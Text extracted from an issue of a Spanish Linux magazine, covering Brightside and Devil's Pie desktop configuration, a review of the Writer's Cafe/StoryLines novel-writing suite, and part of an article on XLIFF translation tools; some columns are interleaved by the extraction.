Definición de Acciones Metacity soporta acciones a medida creadas por el usuario que permiten asignar acciones distintas de las predeterminadas para reactivar las esquinas. Cuando se selecciona una acción a medida, Brightside presenta un pequeño cuadro de diálogo donde puede introducirse el programa a ejecutar (Figura 2). Para que comience el salvapantallas de Fedora Core 5 a través de una esquina reactiva, se introduce gnome-screen-saver-command -activate for On entering region. No es preciso configurar las opciones que Brightside ofrece para cuando se abandona la esquina reactiva: el salvapantallas se deshabilita automáticamente cuando se mueve el ratón.
Conmutación Suave La característica de los bordes sensibles, por la cual se permite conmutar entre escritorios virtuales cuando se mueve el ratón sobre la izquierda o la derecha del borde de la pantalla, también es una interesante opción de Brightside. Una demora configurable previene de conmutaciones accidentales (ver Figura 1). Y, por cierto, Brightside no sólo funciona con Metacity. En nuestro laboratorio descubrimos que soportaba también Fluxbox y WMX, dos alternativas a Metacity en Fedora.
Devil’s Pie Los desarrolladores de Metacity han evitado deliberadamente añadir una característica que organiza las ventanas de forma inteligente. En su opinión, esto no forma parte del trabajo de un administrador de ventana. Por tanto, el desarrollador de Gnome, Ross Burtonini, se puso manos a la obra y escribió una herramienta que rellenaba el hueco. Devil’s Pie [4] da a los usuarios la habilidad de especificar lo que ocurre a una aplicación en el momento de su arranque, utilizando para ello unos sencillos ficheros de configuración. El comportamiento configurable incluye cómo organizar la ventana de aplicación sobre la pantalla, bien añadiendo una entrada a la lista de tareas, la posición sobre el escritorio virtual, o bien si usar decoraciones de ventana. No hay duda de que
vale la pena añadir Devil’s Pie como elemento permanente a cualquier sesión Gnome.
Sintaxis Lisp sobre XML Hasta la versión 0.12, Devil’s Pie usó ficheros de configuración formateados en XML, pero la versión 0.13 introduce una sintaxis basada en expresiones S, las cuales pueden verse principalmente en el contexto del lenguaje de programación Lisp. Los ficheros residen en el directorio $HOME/.devilspie y son reconocidos mediante su extensión .ds. Cada fichero puede contener una única regla que gobierna a una única aplicación. Por ejemplo, la siguiente expresión envía la ventana de aplicación al segundo escritorio virtual cuando se arranca el cliente P2P de Amule: (if (is (application_name) U “amule”} (set_workspace 2) )
El fichero de configuración siguiente maximiza el reproductor de medios Kaffeine en el arranque: (if (matches U (application_name) U “Kaffeine Player”) (maximize) )
Usando la palabra clave fullscreen en lugar de maximize arrancaría Kaffeine en modo pantalla completa. Si se cambia un fichero de configuración, es importante no olvidar rearrancar devilspie para aplicar los cambios. Si los cambios no tienen el efecto deseado, se configura la etiqueta -d cuando se arranca el programa para investigar los conflictos. Como alternativa, puede añadirse una orden (debug) al final del fichero de configuración. Devil’s Pie tiene la capacidad de manipular expresiones regulares, al igual que cualquier herramienta Unix que se precie. Para ello usaremos la palabra clave matches. Si se desea que el programa ejecute un grupo de instrucciones para una única aplicación, usaremos la palabra clave begin indica el comienzo del grupo:
WWW.LINUX- MAGAZINE.ES
Figura 2: La acción Custom ofrece a los usuarios la habilidad de especificar un programa para que se ejecute Brightside.
(if (matches (application_name) U “Firefox”} (begin (geometry “600x800”) (center) ) )
El Wiki de Devil’s Pie [6] y el tutorial en [7] ofrecen más detalles sobre el uso y configuración de Devil’s Pie.
Casi Perfecto Devil’s Pie usa ficheros de texto simples para controlar el manipulado del escritorio y las aplicaciones que se arrancan. Brightside añade esquinas reactivas y bordes sensibles. Desafortunadamente, Brightside no es tan flexible como debiera, ya que sólo soporta acciones configurables de un único usuario. Un fichero de configuración que especifica acciones básicas debería I tener un sistema mejor.
RECURSOS [1] Perspectiva de administradores de ventana X: http://xwinman.org [2] Extended Window Manager Hints: http://standards.freedesktop.org/ wm-spec/wm-spec-1.3.html [3] Brightside: http://home.jesus.ox.ac. uk/~ecatmur/brightside [4] Devil’s Pie: http://burtonini.com/blog/ computers/devilspie [5] Expresiones S: http://theory.lcs.mit. edu/~rivest/sexp.html [6] Wiki de Devil’s Pie: http://live.gnome. org/DevilsPie [7] Tutorial de Devil’s Pie: http://wiki. foosel.net/linux/devilspie
Número 22
69
LINUX USER • Érase una vez
Escribiendo ficción con Writer’s Cafe y StoryLines
ÉRASE UNA VEZ… Si estás buscando el modo de organizar tu próxima novela, prueba con StoryLines y la suite Writer’s Cafe. POR KEVIN DONNELLY
Y
a está bien de escribir código en la semipenumbra del garaje. Ha llegado el momento de ganar dinero de verdad escribiendo una novela. Pero, ¿cómo hacer para establecer el guión, los personajes, etc? Un procesador de textos, no importa lo avanzado que sea, no es lo ideal para este tipo de tareas, incluso aunque disponga de una buena función introductoria. Podría usarse algo como una wiki o KDissert [1], aunque ¿conseguiríamos mantener las cosas organizadas con alguna de las soluciones anteriores? Sabemos que son idóneos para compilar árboles de datos, pero en una historia la cosa cambia, ya que parte de su atractivo reside en que esos árboles se solapan e interactúan. Una buena opción es StoryLines, parte de Writer’s Cafe, una herramienta de software especialmente diseñada para escritores de ficción. StoryLines no genera ideas o crea perfiles, se trata más bien de una colección de herramientas que ayudarán a situar las ideas en una narrativa bien escrita, apropiada y estructurada. Julian Smart de Anthemion software [3] desarrolló Writer’s Cafe a partir de las ideas de su esposa, Harriet, novelista de profesión. Y es que usando la aplicación está claro que su diseño fluye a partir de una experiencia práctica con el proceso de escritura.
Instalación Writer’s Cafe es una aplicación multiplataforma que funciona bajo Linux, Windows y MacOSX gracias al uso de wxWidgets propios de Smart [4]. El primer paso es descargar la versión apropiada desde la página web. Existen versiones para Red Hat, Fedora, Suse y Debian. Todas ellas hacen referencia a versiones de distros un tanto antiguas, aunque la más reciente, la 1.22 para Suse 9.2, funciona bien para Suse 9.3 y Suse 10.0. Colocamos la descarga en un directorio temporal y la descomprimimos. Se ejecuta el script de instalación ./installwc en un terminal y preguntará por el directorio de instalación y por otro en el que situar los scripts de arranque. Yo elegí para ambos el directorio predeterminado /home/kevin/Writer Cafe-1.22. Se selecciona la opción (1) para instalar Writer’s Cafe y el contenido de la barra de tareas se copia al lugar de instalación. Para abandonar la instalación se pulsa 0. Ahora se puede arrancar el programa yendo al directorio de instalación y escribiendo ./Writer’s Cafe. Encontré que para abrir Writer’s Cafe era bastante buena idean añadirle la línea export BROWSER= “konqueror” al script de arranque. Este paso permite arrancar un navegador desde dentro de Writer’s Cafe cuando sea necesario. Evidentemente puede establecerse un icono en el escritorio para ejecutar el programa con un solo clic.
Contenidos Writer’s Cafe está diseñado como una versión virtual de un cafetería real, de modo que abre un escritorio que actúa como un portal para los otros elementos del paquete, los cuales incluyen varias pequeñas golosinas que pueden no estar directamente emparentadas con el proceso de escritura, aunque intenten predisponer al usuario para que escriba: Suena una canción llamada “Untie my Tongue” de Jay Goldmark, una colección de “cookies” (citas cortas sobre la teoría y la práctica de escritura de ficción) y un juego de solitario llamado Forty Thieves. Una guía denominada Getting Started de 10 páginas introduce las distintas aplicaciones en el paquete de Writer’s Cafe, también existen guías detalladas sobre características del programa en la solapa Book-shelf.
70
Número 22
WWW.LINUX- MAGAZINE.ES
Erase una vez • LINUX USER
Figura 1: Writer’s Cafe ofrece una gran variedad de útiles herramientas para escritores de ficción.
En Suse, el texto que se utiliza para este escritorio es muy pequeño, aunque se puede acceder a todos los elementos directamente a través del menú Tools. Para la mayoría de las aplicaciones mayores puede incrementarse el tamaño de la fuente yendo a View | Settings…| Aesthetics. Esta opción permite entradas de texto más cómodas en los tres principales aplicaciones asistentes: Scraps, Journal y Notebook. Notebook es simplemente un espacio en el que escribir, permitiendo garabatear cualquier idea que se nos ocurra de la manera más sencilla posible. No es preciso guardar ficheros individuales. Pueden comenzarse nuevas páginas haciendo clic en un icono y puede verse una lista de todas las páginas yendo a la página de contenidos (obsérvese que esta ventana permanece abierta en la parte superior de todas las restantes aplicaciones a menos que se haga clic sobre el enlace Close en la parte superior). Journal (Figura 2) implementa un ejercicio a menudo recomendado para el aspirante a escritor, intentando introducirle en el hábito de escribir algo, lo que sea, cada día, manteniendo una registro de sus pensamientos y sentimientos. Journal es parecido a Notebook, pero la página de contenidos lista entradas por fecha en lugar de por páginas. El texto introducido en cualquiera de estas dos aplicaciones puede ser comprobado usando un corrector ortográfico compilado en View | Settings | Spelling.
Figura 2: Journal hace que escribas algo cada día
Scraps proporciona un modo de imponer un poco de orden a las cosas desorganizadas que se hayan ido introduciendo en Notebook o en Journal, manteniendo colecciones de materiales emparentados (por ejemplo, búsqueda de elementos, esbozos de personajes, etc.) agrupados en un mismo sitio. Los Scraps se encuentran archivados en los scrap books (libros de recortes). Pueden crearse tantos libros de recortes como se deseen, los cuales podrán contener texto, imágenes y páginas o enlaces web. Un conjunto básico de herramientas de dibujo permite colorear y enlazar distintos elementos, de modo que puede comenzarse probando con estructuras de historias, interacciones y otros elementos. También existe una función que muestra diapositivas (View | Slideshow) que permite visionar imágenes en un libro de recortes. Obsérvese que la ventana que muestra las diapositivas no se abre en toda su extensión, por lo que tendrá que ser extendida manualmente para poder ver los controles y la imagen completa. Yendo a Help | Writing Prompt... (o el icono estrella de la barra de tareas), puede accederse a otra útil herramienta (Figura 3). Ésta presenta una ventana con una sugerencia de un tema sobre el cual escribir y arranca un contador de 15 minutos de duración (ajustable según se desee). Puede escribirse todo lo que se quiera sobre ese tema en el tiempo dado (que aparece como una cuenta atrás en un reloj en la pantalla), pudiéndose almacenar la salida bien en el Notebook, bien en el Journal. Éste es un buen ejercicio de calentamiento. También puede usarse la facilidad del reloj de manera más general yendo a View | Timer... y establecer un período específico. Una vez que el tiempo ha llegado a cero, aparece una ventana emergente advirtiendo el final del mismo.
WWW.LINUX- MAGAZINE.ES
Por último, otra herramienta, que al igual que las anteriores pretende ser un calentamiento para la escritura, es World Tiles. Esta utilidad nos proporciona un conjunto de palabras que pueden moverse de un lado para otro. Se elige un juego de palabras (tales como circo o romance), y luego se experimenta con ellas colocándolas juntas de diversas maneras. Es posible añadir palabras propias a la lista dada (bien a través de Edit | New Word, o bien usando el icono de la barra de tareas), o bien puede crearse una lista propia completamente nueva (View | Preferences | Word Lists). Aparentemente hay un pequeño fallo aquí, ya que todas las nuevas listas se denominan Writers-Cafe-1 la siguiente vez que se abre la aplicación, incluso si originariamente se elige un nombre diferente o si se renombran. Esto es menos serio de lo que pudiera parecer, puesto que, en la mitad inferior del diálogo se ofrece una visión de los contenidos. La interfaz sólo permite introducir una palabra a la vez, pero, ya que las listas (localizadas en installdr/WordTiles/WorldList) son simples ficheros de texto que contienen una palabra por línea, es posible crear una lista con nuestro editor de textos favorito y colocarlo en el directorio. Sin embargo, nótese que para que sea posible que WordTiles pueda ver y usar estas listas debe hacerse un clic sobre Open en el cuadro de diálogo WordLists, seleccionar la nueva lista y luego hacer un clic a Open. WordTiles dichas listas con el título correcto. Personalmente considero que mover las palabras en WordTiles es demasiado tedioso. Es más fácil hacer garabatos en Notebook, aunque ver palabras desconectadas situadas una al lado de la otra evidentemente puede dar origen a nuevas ideas y asociaciones. Teniendo esto en cuenta, una característica útil para el futuro podría ser una opción que “mezcle” las palabras. Brian Eno solía usar una técnica similar para escribir las letras de sus canciones. Esto permitiría al
Figura 3: El cuadro de diálogo Writing Prompt sugiere un tema para un ejercicio de calentamiento.
Número 22
71
LINUX USER • Érase una vez
con ellas en la línea mentales y moverlas arriba y abajo en la lista. En argumental para Characters puede introducirse información de conseguir una fondo sobre los personajes (apariencia, personaestructura más orgalidad, destrezas, deseos, etc) con objeto de darle nizada para la histotodo el realismo posible cuando se va a escribir ria. sobre ellos. Puede introducirse información Por ejemplo, sobre lugares en la solapa Locations. vamos a intentar usar Añadir nuevas tarjetas es tan simple como StoryLines para poner pulsar [Ctrl] + [N], o haciendo clic sobre el en práctica una nueva botón de nueva tarjeta en la barra de herramienidea que se me acaba tas. El tamaño de la tarjeta puede cambiarse con Figura 4: Funciones WordTiles como la colección de imanes del frigorífico. de ocurrir, un View | Preferences | Aesthetics. La tarjeta será pequeño fragmento añadida a la línea argumental, mostrándose en usuario crear trocitos de texto que podrían ser la sobre una familia feudal. Voy a llamar a la pieza una lista desplegable en la parte superior derebase para un trabajo más detallado. “Romeo y Julieta”. En primer lugar, se inicia un cha de la pantalla. Puede cambiarse la línea WordTiles parece estar menos integrada en nuevo proyecto (File | New Project...), y se le da argumental allí o haciendo clic en la línea arguWriter’s Cafe que las otras aplicaciones asistenun nombre. Lo predeterminado es crear un promental deseada en el botón de la pantalla. La tes. El tamaño de su fuente debe ser ajustado yecto en blanco, aunque también es posible tarjeta se colocará en una columna, lo cual perseparadamente (en View | Preferences | Aestheimportar una plantilla si se dispone de ella. A mite que las líneas argumentales se enlacen y tics), y no hay opción para exportar directacontinuación se da entrada a tres nombres de puede moverse la tarjeta a otra línea argumental mente a Notebook o a Journal. líneas de historia (por ejemplo, Romeo, Julieta, o a una nueva columna simplemente con arrasfamilia feudal) que pueden ser modificadas o trar y soltar. StoryLines borradas posteriormente (Figura 5). Algunas tarjetas pueden seleccionarse Todas las aplicaciones anteriormente citadas son StoryLines se abrirá con las líneas de historia usando [Ctrl] + clic izquierdo, mientras que útiles por sí mismas, pero la atracción principal que se especificaron en la mitad inferior de la pueden borrarse con [Ctrl] + [Del]. Es posible de Writer’s Cafe, el lugar donde se lleva a cabo el pantalla, cada una con un color predeterminado etiquetar columnas haciendo clic en el trabajo real, es en StoryLines. StoryLines está diferente (que puede personalizarse haciendo número de la columna e introduciendo algún diseñado de manera muy ingeniosa para permidoble clic en el encabezamiento de la línea argutexto y también pueden agruparse columnas tir el desarrollo de la trama, de los personajes, del mental en la izquierda y haciendo clic en el cuapor secciones para reflejar capítulos o actos en contenido y de las escenas simultáneamente. dro de colores) que permite seguirle la pista a las la historia. Está basado en tarjetas que contienen fragmentarjetas según la línea argumental a la que pertePara comenzar a introducir información en tos del argumento y en las que pueden introdunezcan. La mitad superior de la línea de la panla tarjeta se usa la solapa Card situada en la cirse casi cualquier cosa. Dichas tarjetas pueden talla tiene un bosquejo del proyecto en la parte superior derecha. En Description anotaser movidas a lo largo de la línea de argumento izquierda, mostrando las tarjetas en columna remos un escueto resumen del argumento, y para permitir experimentar con diferentes de(línea de tiempo) y el orden en el argumento y luego, en Content se introduce el texto en consarrollos argumentales alterando la secuencia de un editor en la derecha, donde pueden ser editacreto de la escena o episodio. Así como los acontecimientos. Y, lo que es más importante, dos un gran número de atributos para cada tarefectos de formateado de texto básico, esta puede tenerse más de una línea argumental, así jeta. solapa tiene botones que permiten el formateque puede disponerse de un juego de aconteciLa primera tarea es ir a Edit | Project Informaado básico para guiones de teatro o de pelícumientos relacionados con cada protagonista en tion... e introducir alguna información acerca del las y televisión, los cuales se conservan si el la ficción y ver de un vistazo lo que les está ocuproyecto y sobre uno mismo en la solapa Basics proyecto es exportado a un procesador de rriendo en esa red de la línea de argumentos con (Figura 6). En la solapa Story Details se puede texto. También pueden establecerse (a través lo que les está pasando a otros protagonistas en introducir un sumael mismo punto en el libro. La habilidad de mezrio sobre qué tipo de clar las tarjetas independientemente en cada fragmento de ficción línea argumental significa que puede experise está escribiendo mentarse con diferentes dispositivos de argu(concepto, género), mento sin tener que reescribir cada vez grandes el público al cual se secciones. dirige, etc. En teoría, StoryLines se posiciona en un agradable téresto es bastante senmino medio entre la escuela de escritores que cillo, pero en la prácpostula que hay que “esbozar el argumento tica puede de hecho antes de comenzar a escribir” o y la escuela ayudar a dar forma a que dicta que hay que “comenzar a escribir y las ideas sobre los esperar que todo caiga en su sitio”. Se puede objetivos del fragtrabajar con las líneas argumentales y escribir mento. La solapa la escena ocasional completa cuando llega el Storylines permite deseo apremiante de escribir, o bien escribir añadir, editar y Figura 5: StoryLines permite encontrar sub-argumentos para tu historia. distintas escenas y hacer juegos malabares borrar líneas argu-
72
Número 22
WWW.LINUX- MAGAZINE.ES
Érase una vez • LINUX USER
Figura 6: Un título y descripción del proyecto en la solapa Basics.
de View | Preferences | Content Highlighting) colores específicos para elementos individuales como diálogo, acción, etc., que pueden hacer que la navegación a través del guión sea más fácil. En la solapa Setting puede especificarse dónde está teniendo lugar el episodio. Bien puede seleccionarse de la lista de lugares introducidos anteriormente, o bien añadir uno nuevo. La solapa Annotation permite añadir notas generales sobre el episodio, mientras que para adjuntar imágenes (por ejemplo, una foto de una revista con el tipo de vestido que imaginas podría llevar una heroína) se usaría Image. La parte superior derecha de la pantalla también tiene solapas para notas e informes del proyecto general. Project Notes ofrece una manera rápida de importar texto existente en las tarjetas, simplemente copiándolo y pegándolo en esta solapa, destacando las secciones y pulsando [Ctrl] + [N]. De este modo se obtendrá una nueva tarjeta con el texto relevante. Una ligera desventaja de esto es que el texto acaba en la solapa de la descripción de la tarjeta, cuando debería ser más apropiado, en el caso de grandes textos, colocarlo en la solapa Content. Los informes son básicamente toda la información en las tarjetas dispuesta en formato
Figura 8: Usa el cuadro de diálogo Edit Report Style para hacer a medida un informe StoryLine.
Figura 7: StoryLines viene con cinco estilos de informes diferentes.
lineal para formar una narrativa conectada o un guión. Se encuentran disponibles cinco tipos distintos de informes de estilo (Figura 7), desde el tabular (reflejando la composición de la tarjeta), la novela (texto directo) y adaptación (formateado para reflejar las convenciones del guión usadas en la solapa Card | Content. Estos estilos pueden hacerse a medida y pueden añadirse otros nuevos yendo a Report | Report Preferences | Choose | Add e introduciendo un nombre para el informe y haciendo clic en OK, y por último ajustando los estilos de los distintos parámetros según las necesidades propias. Una vez nos estemos satisfechos con nuestras historias y con la composición del informe, podemos exportarlo (vía Report | Export Report) a un formato más tradicional. Puede exportarse a HTML, texto llano, Open-Office.org Writer o al formato HelpView propio de Anthemion. Esto permite hacer backups regulares de trabajos en desarrollo en un formato de lectura accesible. Haciendo clic sobre cualquier tarjeta y seleccionando Card Properties...| Card Statistics dará el recuento de palabras para esa tarjeta en particular, así como el total para la columna y la línea argumental a la que pertenece la tarjeta (Figura 9). Sin embargo, parece no haber manera de conseguir un recuento de palabras para todas las líneas argumentales en la obra si no es añadiendo el total para cada línea argumental manualmente. Cards Icons, en el mismo cuadro de diálogo, permite añadir indicios visuales sobre los contenidos de la tarjeta, por ejemplo, puede añadirse un icono ToDo para recordar que queda trabajo por hacer en esa tarjeta. Incluso pueden importarse iconos propios a esta lista. Si se han escrito algunas tarjetas y no está del todo claro a qué línea argumental deberían ser asignadas, pueden almacenarse temporalmente en pockets. Cada proyecto tiene un pocket predeterminado llamado Scraps, pero pueden añadirse más si así se desea. Una única tarjeta o grupos de tarjetas fácilmente pueden ser cambiadas entre líneas argumentales y pockets.
WWW.LINUX- MAGAZINE.ES
Conclusión Writer’s Cafe permite organizar una tarea de composición de manera muy eficiente. Está bien mantenida, con nuevas versiones renovadas cada 2-3 meses (la más reciente, la 1.22, añade el soporte Unicode, por ejemplo). Su única desventaja es que no se encuentra disponible bajo licencia libre. La versión registrada, cuyo precio son unos 37 Euros, suprime el límite de 5 líneas de historia y 30 tarjetas de la descarga libre y permite el acceso a un escueto libro sobre escritura de ficción de Harriet Smart, el cual contiene algunos buenos consejos. Bueno, ya está bien de tanto hablar, debo irme y acaI bar mi bestseller.
Figura 9: La solapa Card Statistics proporciona un resumen de los datos de la tarjeta.
RECURSOS [1] Kdissert: http://freehackers.org/ ~tnagy/kdissert [2] Writer’s Cafe: http://www.writerscafe. co.uk [3] Anthemion: http://www.anthemion. co.uk [4] wxWidgets: http://www.wxwidgets. org
Número 22
73
LINUX USER • Educación
La traducción del software libre
CAMBIO DE HERRAMIENTAS No podemos cerrar el estudio sin examinar las propuestas de la industria de la traducción: la especificación XLIFF y sus herramientas. ¿Está el software libre a la altura? POR JUAN RAFAEL FERNÁNDEZ GARCÍA.
D
e la salvaje segunda entrega nos quedan varias heridas abiertas. Una eran las insuficiencias del formato PO, ese arcaico formato de la era pre-XML. ¿Existe alguna alternativa libre, alguna solución hacia la que correr?
El verano en que creímos tener una respuesta El verano de 2005 fue especial para el mundo de la traducción libre: por un lado Tim Foster había anunciado el 21 de junio la disponibilidad en abierto de las legendarias (llevábamos años esperándolas) herramientas internas de Sun, las Open Language Tools (hablaremos de ellas más adelante), que nos iban a permitir trabajar al fin en el formato XLIFF; también teníamos Transolution, y los filtros de Fredrik Corneliusson y de Rodolfo Raya… En su ingenuidad, un servidor montó su ponencia en los Encuentros de Software Libre de Dijon[1]
sobre la tesis de que era el momento de adoptar masivamente el formato y las herramientas XLIFF para traducir los documentos de nuestros programas y nuestros recursos. ¿Qué ha pasado mientras tanto? Para comprenderlo hay que empezar analizando el nuevo formato.
La especificación XLIFF La FAQ de XLIFF en OASIS define el XML Localisation Interchange File Format, XLIFF, como una especificación (no es todavía un estándar OASIS, pero en su momento será un estándar bendecido por la poderosa industria de la localización) para el intercambio sin pérdida de datos de localización y de la información relacionada con ellos[2]. Por tanto, se trata de un formato para almacenar cadenas de texto extraídas de un fichero original que se desea traducir, y permite incorporar información adicional sobre el documento original
(como el esqueleto de su formato, que se utilizará para generar el fichero traducido en el mismo formato) y el proceso de traducción. Los documentos XLIFF suelen tener la extensión .xlf, o .xlz si están comprimidos. Es trivial generar un documento XLIFF porque existen conversores de formato adecuados. Como experimento vamos a crear un fichero .xlz a partir del .html de una versión provisional del documento que estamos escribiendo. Utilizamos los OLT XLIFF Filters; sólo hemos tenido que arrastrar y soltar el fichero texto_fuente.html sobre la ventana del conversor (figura 1). El resultado es texto_fuente.html.xlz, un paquete ZIP comprimido con tres ficheros: workflow.properties, skeleton.skl (con la información que permitirá recuperar el formato original) y content.xlf[3], que es el que nos interesa. Lo examinamos con un editor de texto (figura 2): se trata de una plantilla XLIFF 1.0. Para empe-
Tabla 1: Estudio de Rodolfo Raya de los editores XLIFF Editor Heartsome XLIFF Editor 5.0-8 Open Language Tools RC 1.1 Transolution Alpha Trados 7.0 SDLX
74
Número 22
Ejemplo 1 OK No lo abre OK No funciona OK
Ejemplo 2 OK No lo abre OK OK OK
Ejemplo 3 OK No lo abre OK OK OK
WWW.LINUX- MAGAZINE.ES
Ejemplo 4 OK No lo abre OK No funciona OK∫
Educación • LINUX USER
Figura 1: El filtro de las Open-Language Tools en acción.
zar apreciamos un error en la conversión: a pesar de que nuestro fichero fuente, html 4.0 correcto (revisado con tidy), indicaba que se trata de un texto en castellano (lang=“es”), el filtro decide que el texto de partida de la tra-
Figura 2: El documento XLIFF creado.
ducción tiene que ser el inglés de Estados Unidos (en-US). Iniciando el paralelismo con el sistema Gettext/PO que hemos analizado en las anteriores entregas y al que queríamos llegar, nos
encontraríamos en el momento de la creación de la plantilla POT. Y ahora sería el momento de traducir las cadenas de texto. Utilizamos (en un momento hablaremos de los editores XLIFF) el OLT Translation Editor. Creamos
NOTAS [1] Ponencia en inglés On the Translation of Educational Resources. A Critical Overview (http://speches.ofset.org/jrfernandez/rmll2005). La ponencia no deja de ser una actualización del estudio iniciado con La Traducción en el mundo del Software Libre: Análisis del estado de las herramientas lingüísticas, proyectos actuales y necesidades de la comunidad del software libre (2003, http://es.tldp.org/ Articulos/0000otras/doc-traduccion-libre/) y Un paso adelante. Plan de tecnologías lingüísticas libres (http://es.tldp.org/especicaciones/ herramientas-linguisticas/herramientas-linguisticas/). [2] El Borrador final de la versión 1.0 es de finales de mayo de 2001; el 20 de mayo de 2003 se aprobó ya en OASIS la versión 1.1 de XLIFF; el periodo de revisión pública del Borrador de la especificación 1.2 finalizó el 12 de septiembre de 2006. OASIS (http://www.oasis-open.org/who/) es la Organization for the Advancement of Structured Information Standards, un consorcio internacional de empresas y organismos que trabaja para «el desarrollo, la convergencia y la adopción de estándares de comercio electrónico». La FAQ de XLIFF en Oasis: http://www.oasis-open.org/committees/xliff/faq.php. Sobre el Borrador de la especificación 1.2, http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=xliff (o la forma abreviada http://www.xliff.org/). Para la historia y los antecedentes de XLIFF, ver http://www.opentag.com/xliff.htm. [3] Según la documentación del Editor de traducción del OLT, «el fichero .xlz contiene todos los segmentos fuente del fichero original y todas las correspondencias (matches) halladas para cada uno de estos segmentos en la base de datos de traducciones. Contiene también el formato del fichero fuente original para que el fichero .xlz traducido pueda ser reconvertido a su formato original». [4] Sobre el Proyecto de herramientas XLIFF: http://xliff-tools.freedesktop.org/wiki/. XLIFF-PO-Tools, el conjunto de filtros en lenguaje C del Proyecto XLIFF Tools: http://xliff-tools.freedesktop.org/wiki/Projects/xlifftool (a propósito, la figura 5 procede de http://xliff-tools.freedesktop.org/images/xliffize-gettext.png). Es signicativo el comentario del autor a la lista xliff-tools@lists.freedesktop.org: «xliffize tiene como objetivo integrar XLIFF en proyectos basados en la herramienta GNU autotools, usando XLIFF como el formato de recursos nativo en detrimento de PO». Su funcionalidad estaría en la automatización de la extracción de cadenas que traducir, en un papel similar al de intltool. XLIFF-Tools Java: http://xliff-tools.freedesktop.org/wiki/Projects/XliffToolsJava (el 20 de octubre de 2006, en mensaje a la lista xliff-tools@lists.freedesktop.org, Raya ha confirmado la vigencia de los filtros: «La versión Java funciona perfectamente. Una versión ligeramente modificada es la incluida entre las herramientas de traducción de Heartsome»). XliffRoundTrip: https://sourceforge.net/projects/xliffroundtrip/, v. 0.6, 28 oct. 2004. File2xliff4j: http://file2xliff4j.sourceforge.net/, 5 oct. 2006. Jooconverter: http://sourceforge.net/projects/joott/. OLT XML Filters: http://open-language-tools.dev.java.net. Para el código fuente de los conversores incluidos en el paquete Debian translate-toolkit visitar, una vez instalado, /usr/share/pycentral/translate-toolkit/site-packages/translate/convert/. [5] http://transolution.python-hosting.com/. La última versión es la 0.4b5 (Genesis), de agosto de 2005, descargable desde http:// sourceforge.net/projects/eviltrans/. [6] http://open-language-tools.dev.java.net. [7] http://www.oasis-open.org/committees/xliff/faq.php#Ejemplos.
WWW.LINUX- MAGAZINE.ES
Número 22
75
LINUX USER • Educación
de un glosario si se PO. Vendría a ser la versión XML y contempohubiera utilizado); ránea de lo que pretendía ser PO desde el información de concomienzo. Salvo que el formato PO no se ha texto (y comentautilizado por la industria de la localización, y rios…); y finalsalvo los problemas del sistema (ver la mente, mucho más segunda entrega, en Linux Magazine 20), que importante y noveno vamos a repetir. dosa, de revisión: el Ahora estamos en condiciones de comestado de aprobada prender el problema que se presenta a los o rechazada desarrolladores y traductores del mundo del (state=”user:approsoftware libre ante la idea de cambiar de PO a ved” o XLIFF: es verdad, posiblemente sea un forstate=”user:rejecmato superior, pero… ¿están el sistema de ted”) de la traducextracción de cadenas y generación de los ción del segmento ficheros .xlf, están las herramientas especialipor un posible zadas de traducción y el conversor de vuelta segundo agente en al formato original en una fase tan madura y el proceso (¡al fin tan comprobada como la del sistema Gettext/ Figura 3: Creación de un proyecto en el OLT XLIFF Translation Editor. espacio para un PO? revisor!). Examen de los filtros XLIFF un proyecto de traducción del castellano al ¿Qué pretende aportar XLIFF? ¿A qué proinglés (figura 3), cargamos el fichero .xlz y blemas responde? La FAQ de XLIFF enumera Empezaremos hablando de las XLIFF PO comenzamos a trabajar (figura 4, con la preuna serie de problemas que hacía necesaria la Tools, del ¿australiano? Asgeir Frimannsson. sentación en forma de dos paneles enfrentacreación del formato Xliff-tools es un conjunto de utilidades para la dos verticalmente y las correspondencias en • Problemas de interoperabilidad entre las conversión entre los formatos PO y XLIFF. Se la base). Si ahora guardamos el trabajo y volherramientas trataría de po2xliff (el conversor de PO a vemos a examinar texto_fuente.html.xlz vere• Las herramientas existentes no tienen en XLIFF), xliff2po (conversor inverso de XLIFF mos que el único que ha cambiado es concuenta la totalidad del flujo de trabajo del a PO), xliffinit (inicializa un fichero XLIFF tent.xlf (esto no es del todo exacto: si hemos proceso de localización/traducción para una lengua específica) y xliffmerge guardado la que llama la Mini-TM también se • Los desarrolladores de las herramientas de (fusiona un fichero XLIFF traducido con una habrá creado en ~/.xliffeditor). Veamos más localización debían enfrentarse a numeroplantilla XLIFF actualizada). de cerca qué se ha generado abriendo el sos formatos El flujo de trabajo sería el esquematizado fichero en un editor de textos. • Gran número de formatos intermedios prien la figura 5. Dos problemas hacen que Examinemos el fragmento; es evidente que vativos debamos seguir buscando: por un lado Friya no es realista esperar que se pueda trabajar XLIFF ofrece mannsson ha comunicado que después de en la traducción con un editor de texto nor• Un único formato para los procesos relaciojunio de 2005 abandonó el mantenimiento de mal, como se podía hacer con un fichero PO, nados (por ejemplo control de calidad en los filtros; en segundo lugar el itinerario por desagradable que fuera la experiencia: es términos de revisión orto-tipográfica) Fuente -> PO -> plantilla XLIFF -> XLIFF necesario un editor de XML o mejor un editor • Un control más estrecho de lo que reciben traducido -> PO -> Destino no parece el creado expresamente para trabajar con XLIFF. los traductores (permite pre-filtrar qué se óptimo: ¿qué sentido tiene la presencia doble El «código fuente XML» debe ocultarse al trava a traducir) de PO y XLIFF en el flujo de trabajo? Si sus ductor (y las marcas XML deben protegerse • Flujo de información controlado (notas de funciones son paralelas no deberían aparecer como se protegía el código fuente de un proautor, de desarrollagrama). Hemos traducido tres segmentos dor, propiedades de (oraciones: el filtro de conversión ha segmenlos items, etc.) tado el original por oraciones), que se con• Identificación de vierten en «unidades de traducción», todos los items del trans-units, con identificadores únicos (a1, proceso a2, a3). Encontramos la clásica oposición • Todas las ventajas entre cadena original y cadena traducida del trabajo en y con (ahora como segmento fuente, source, frente XML a segmento destino, target). Pero la informaSi nos fijamos en los ción proporcionada es mucho más amplia: anteriores argumentos por un lado el número de palabras de cada en favor de la necesisegmento; por otro, información de uso de la dad de XLIFF nos memoria de traducción (vemos que el fragdaremos cuenta de mento a1 ha recibido su traducción del fragque el formato ocupa mento a3), con la marca state=”auto-translael mismo nicho ecolóted:translated” (también se incluirían datos gico que el formato Figura 4: Uso del OLT Transeditor.
76
Número 22
WWW.LINUX- MAGAZINE.ES
Educación • LINUX USER
